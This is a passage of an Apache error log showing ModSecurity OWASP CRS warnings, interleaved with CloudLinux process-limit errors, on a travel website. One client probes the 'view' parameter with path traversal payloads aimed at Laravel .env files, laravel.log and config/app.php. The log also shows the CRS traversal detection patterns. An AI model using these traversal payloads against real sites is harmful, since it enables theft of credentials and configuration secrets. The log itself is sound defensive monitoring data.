"platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mwAAAAw"]
[Fri Jul 17 08:55:06.791837 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../../storage/logs/laravel.log&token=padtkb4br07vozcwdy6kht5uy_jmtkkrrkan7f1cjicgt_9uqbdzmnzd4oy6gl1tq8qui8kvo0uai6uce2odevuzcnetfoeni6hq4zjmgwuucj8rsfxixbvrhkhoq8or4xhgwlhwhgmcs6xx7rbmj3lsbyte1xbjvhvrrz0gjbsj27kmbhpk3scv11-strunsxadlmxht11yld7fdq1pdtrrfqhltj6hzlxfinbozcto-okzr70bqnllbadeza1cnggxc3ouax2amo_y3tvuzeaj&junk=bv5b3x4jquatweilbiy5g2ttz5j6gcp4ya6jt4fljc5vfw3b3q4nlerz2c6txmipc2ibi2i6c4tskst6b4xaahh4ofqdxpd2pkrbcdxowhcy5l2lvqvzijniiv6yun2ybcy..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mwAAAAw"]
[Fri Jul 17 08:55:06.791860 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mwAAAAw"]
[Fri Jul 17 08:55:06.791884 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mwAAAAw"]
[Fri Jul 17 08:55:06.792248 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUQAAAAU"]
[Fri Jul 17 08:55:06.792285 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUQAAAAU"]
[Fri Jul 17 08:55:06.793002 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mwAAAAw"]
[Fri Jul 17 08:55:06.793120 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.793378 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkol9vhFBGA6D8l95mwAAAAw"]
[Fri Jul 17 08:55:06.793390 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUQAAAAU"]
[Fri Jul 17 08:55:06.793509 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.793813 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2AUQAAAAU"]
[Fri Jul 17 08:55:06.811263 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUQAAABI"]
[Fri Jul 17 08:55:06.811309 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUQAAABI"]
[Fri Jul 17 08:55:06.812591 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUQAAABI"]
[Fri Jul 17 08:55:06.812752 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.813074 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUUQAAABI"]
[Fri Jul 17 08:55:06.816451 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUgAAAAU"]
[Fri Jul 17 08:55:06.816508 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUgAAAAU"]
[Fri Jul 17 08:55:06.817715 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUgAAAAU"]
[Fri Jul 17 08:55:06.817848 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.818478 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUgAAABI"]
[Fri Jul 17 08:55:06.818514 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUgAAABI"]
[Fri Jul 17 08:55:06.818588 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:view: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUgAAABI"]
[Fri Jul 17 08:55:06.819338 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2AUgAAAAU"]
[Fri Jul 17 08:55:06.819829 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUgAAABI"]
[Fri Jul 17 08:55:06.819966 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.820269 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUUgAAABI"]
[Fri Jul 17 08:55:06.824253 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?view=..%2F..%2Fconfig%2Fapp.php&ref=TeLzr3TPDh3b-vQleeW0k1tEVsDnhS-vxrWWndb3efNDcuEjuUmcQXl4Oi78PoTP40tp1A78CYjCs1F5SOnR6nSRctzOukKCL7jJHu-SEkO1SEKVfSsSiJcDxdk6wpdP613vg_HcRZV0HJeSgspWbjBruTWOQ2ffhWSoz2eb_9e-taqqcKHV1W38gAvgDURbkg1Yak2E10ee1rIMYXNJZ05qGV6mQK-T3UcOPwEjQJ-TarNNmGxcof2ri9CXZDMF05_mSoECOtK4LavixfFy244z&debug=2IHDJP37TJGEYCUDFFG5XT34VEVMRDOL6YNV75HD56F3EI465Z2UGJOD3IVR64BHLMO5CFNCTLI742RCHGTR5F73IAE6O2LZC5VR7C36VMTJKIPJX3Q7A6E72LQTLVIZGLO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUwAAABI"]
[Fri Jul 17 08:55:06.824324 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUwAAABI"]
[Fri Jul 17 08:55:06.824396 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../config/app.php&ref=TeLzr3TPDh3b-vQleeW0k1tEVsDnhS-vxrWWndb3efNDcuEjuUmcQXl4Oi78PoTP40tp1A78CYjCs1F5SOnR6nSRctzOukKCL7jJHu-SEkO1SEKVfSsSiJcDxdk6wpdP613vg_HcRZV0HJeSgspWbjBruTWOQ2ffhWSoz2eb_9e-taqqcKHV1W38gAvgDURbkg1Yak2E10ee1rIMYXNJZ05qGV6mQK-T3UcOPwEjQJ-TarNNmGxcof2ri9CXZDMF05_mSoECOtK4LavixfFy244z&debug=2IHDJP37TJGEYCUDFFG5XT34VEVMRDOL6YNV75HD56F3EI465Z2UGJOD3IVR64BHLMO5CFNCTLI742RCHGTR5F73IAE6O2LZC5VR7C36VMTJKIPJX3Q7A6E72LQTLVIZGLOF2IE5MYFJIDEDD..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUwAAABI"]
[Fri Jul 17 08:55:06.824443 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../config/app.php&ref=telzr3tpdh3b-vqleew0k1tevsdnhs-vxrwwndb3efndcuejuumcqxl4oi78potp40tp1a78cyjcs1f5sonr6nsrctzoukkcl7jjhu-seko1sekvfsssijcdxdk6wpdp613vg_hcrzv0hjesgspwbjbrutwoq2ffhwsoz2eb_9e-taqqckhv1w38gavgdurbkg1yak2e10ee1rimyxnjz05qgv6mqk-t3ucopwejqj-tarnnmgxcof2ri9cxzdmf05_msoecotk4lavixffy244z&debug=2ihdjp37tjgeycudffg5xt34vevmrdol6ynv75hd56f3ei465z2ugjod3ivr64bhlmo5cfnctli742rchgtr5f73iae6o2lzc5vr7c36vmtjkipjx3q7a6e72lqtlvizglof2ie5myfjidedd..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUwAAABI"]
[Fri Jul 17 08:55:06.824479 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUwAAABI"]
[Fri Jul 17 08:55:06.824517 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUwAAABI"]
[Fri Jul 17 08:55:06.824602 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:view: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUwAAABI"]
[Fri Jul 17 08:55:06.825882 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUwAAABI"]
